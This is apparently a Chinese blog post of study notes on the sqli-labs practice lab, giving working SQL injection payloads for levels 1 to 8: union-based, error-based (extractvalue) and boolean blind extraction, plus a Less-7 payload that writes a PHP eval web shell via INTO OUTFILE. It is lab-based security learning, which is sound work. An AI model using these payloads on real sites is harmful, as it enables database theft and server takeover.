sqli-labs 学习过程——（持续更新）

最新推荐文章于 2023-03-07 19:29:35 发布

花昭huazhao

最新推荐文章于 2023-03-07 19:29:35 发布

阅读量202

点赞数 1

本文链接：https://blog.csdn.net/hauzhao/article/details/119247106

版权

前言

从根本上讲，当开发人员对用户的输入过滤不严，造成了用户可以通过输入SQL语句控制数据库，就会产生SQL注入漏洞。

我们使用sqli-labs的靶场来对sql注入有跟多的了解

这也是纪录我自己学习的过程，当写笔记了

Less-1

进入第一道题，打开hackbar，在url的最后写上?id=1，会发现页面的值发生了变化（输入2,3,4都有不同的显示，好像最多到14吧）

这时候把1换成其他的sql语句，比如

-1' union select 1,2,3 --+

'是用来闭合之前的语句，如果前面语句执行正确就不会有union的事了，所以要让前面执行错误的语句，因为id没有-1

union是联合语句，后面可以带一些其他的语句，这里使用的事select查看数据库（123代表数据库的个数，需要自己去试）

--+是注释语句，正常的语句是 SELECT * FROM users WHERE id='$id' LIMIT 0,1 -1后面的'闭合了前面的'，带id后面还有个'，需要用--+进行注释

这样就可以查到想查的信息了

比如输入

-1' union select 1,database(),3 --+

查看到数据库的名称为security等等

Less--2

第二道题是整数型报错

输入id=1 and 1=1 --+没有报错

但是输入id=1 and 1=2 --+的时候就报错了

说明找到注入点了

可以把1=2替换成自己想利用的语句

d=-1 union select 1,2,3 --+

把前面的语句改成错误语句，如果是正确的话他会执行正确的语句直接跳过后面的语句

Less--3

当输入一个id=1'时，系统给出的报错信息 ''1'') LIMIT 0,1' 后面跟了一个)

所以猜测id的旁边应该有括号

'加了)找到了注入点，接下来可以查自己想查的东西了

id=-1')  union select 1,2,3 --+

Less--4

和第三题的方法一样，不过是'换成了"

id=-1") union select 1,2,3 --+

Less-5

第五题试了一会儿，好像发现了注入点

输入?id=1' and 1=1 --+时显示的是you are in.........

但是输入?id=1' and 1=2 --+时，什么内容都没显示

应该是报错注入

尝试把1=2换成extractvalue(1,concat(0x7e,database(),0x7e))的时候，发现显示内容了

id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

语句中的0x7e可以替换成~

也可以用其他的语句

比如

id=1' and (select extractvalue(1,concat('~',(select database())))) --+

Less--6

跟第五题差不多，就是注入点不一样

成功找到注入点，可以报错注入了

id=1" and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

关于报错注入找到了一篇大佬的文章

https://blog.csdn.net/silence1_/article/details/90812612?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162764781116780269870066%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162764781116780269870066&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-1-90812612.pc_search_result_cache&utm_term=sql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

Less--7

第七题

输入?id=1发现提示

提示我们使用outfile

在sql注入的时候，最常用的的是通过file函数来在数据库中写入敏感文件或者是webshell，其中into outfile是一个，还有两个是intodumpfile()和load_file()

outfile也有使用条件

1.要有file_priv权限

2.对web要有写的权限

3.要知道网站的绝对路径

测试注入点得出是'))过滤

?id=111')) union select "<?php phpinfo():eval($_REQUEST['cmd'])?>",2,3 into outfile "d:\\test\\test1.php" --+

去test文件里发现有php文件

之后可以使用蚁剑连接

Less--8

第八题是布尔盲注，就只会显示语句正确和语句错误，可以利用正确的语句来提取里面的信息

正确时的返回语句

错误的时候什么都不显示

凭借这个方法可以判断注入点是'

?id=1' and (select count(table_name) from information_Schema.tables where table_schema=database())>3 --+

判断数据库中的表是否大于3，返回正确

and (select count(table_name) from information_Schema.tables where table_schema=database())=2    布尔盲注查询表数量
and (length(database()))=8 --+    得到数据库长度
and ascii(substr(database(),1,1))= 115 --+    猜测数据库第一个名称字母
and ascii(substr(database(),2,1))=101 --+    猜测数据库第二个名称字母
and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+    擦侧数据库中表的数量
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100    不断改变范围，把第一张数据表的第一个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>110    不断改变范围，把第一张数据表的第二个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>110    不断改变范围，把弟二张数据表的第一个字母猜出来
and (select count(column_name) from information_schema.columns where table_name='flag')=1    猜测flag表里的字段数
and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))>110    猜测flag字段的值